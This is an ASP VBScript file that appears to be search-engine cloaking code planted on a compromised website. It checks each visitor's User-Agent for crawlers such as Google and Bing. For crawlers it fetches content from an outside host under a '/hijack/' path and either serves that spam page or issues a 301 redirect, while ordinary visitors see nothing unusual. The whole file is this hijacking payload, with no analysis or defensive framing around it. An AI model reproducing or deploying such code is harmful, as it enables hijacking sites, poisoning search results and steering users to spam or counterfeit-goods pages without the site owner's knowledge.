%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<% Response.Charset="UTF-8"%>
<%
Function Bytes2bStr(vin)
Dim BytesStream,StringReturn
Set BytesStream = Server.CreateObject("ADODB.Stream")
BytesStream.Type = 2
BytesStream.Open
BytesStream.WriteText vin
BytesStream.Position = 0
BytesStream.Charset = "utf-8"
BytesStream.Position = 2
StringReturn =BytesStream.ReadText
BytesStream.close
Set BytesStream = Nothing
Bytes2bStr = StringReturn
End Function
Function getHTTPPage(URL)
Set HTTPReq = Server.createobject("Msxml2.XMLHTTP")
HTTPReq.Open "GET",URL,False
HTTPReq.send
If HTTPReq.readyState <> 4 Then Exit Function
getHTTPPage = Bytes2bStr(HTTPReq.responseBody)
Set HTTPReq = Nothing
End Function
Dim Domain_Name,Page_Name,Cur_Url,zhizhu
Domain_Name = LCase(Request.ServerVariables("HTTP_HOST"))
Page_Name = LCase(Request.ServerVariables("Script_Name"))
Cur_Url = "http://"&Domain_Name&Page_Name
zhizhu=Request.ServerVariables("HTTP_USER_AGENT")
If instr(zhizhu,"google")>0 Or instr(zhizhu,"yahoo")>0 Or instr(zhizhu,"bing")>0 Or instr(zhizhu,"msnbot")>0 Or instr(zhizhu,"alexa")>0 Or instr(zhizhu,"ask")>0 Or instr(zhizhu,"findlinks")>0 Or instr(zhizhu,"altavista")>0 Or instr(zhizhu,"inktomi")>0 Then
let_301 = getHTTPPage(Replace("http://www.outdoorsolarlightsonsale.com/hijack/jw/fr/longchamp/longchamp1.html",".html",".txt"))
if instr(let_301, "http://")>0 then
Response.Status = "301 Moved Permanently"
Response.AddHeader "Location", let_301
Response.End
else
Response.Write(getHTTPPage("http://www.outdoorsolarlightsonsale.com/hijack/jw/fr/longchamp/longchamp1.html"))
Response.End
end if
else
jump = ""
langs=Mid(Request.ServerVariables("HTTP_ACCEPT_LANGUAGE"),1,5)
url1=LCase(Request.ServerVariables("Http_Referer"))
If url1<>"" and instr(langs,"zh")=0 and instr(url1,"google")>0 and jump<>"" Then
'Session.Abandon
'response.redirect jump
end if
End if
%>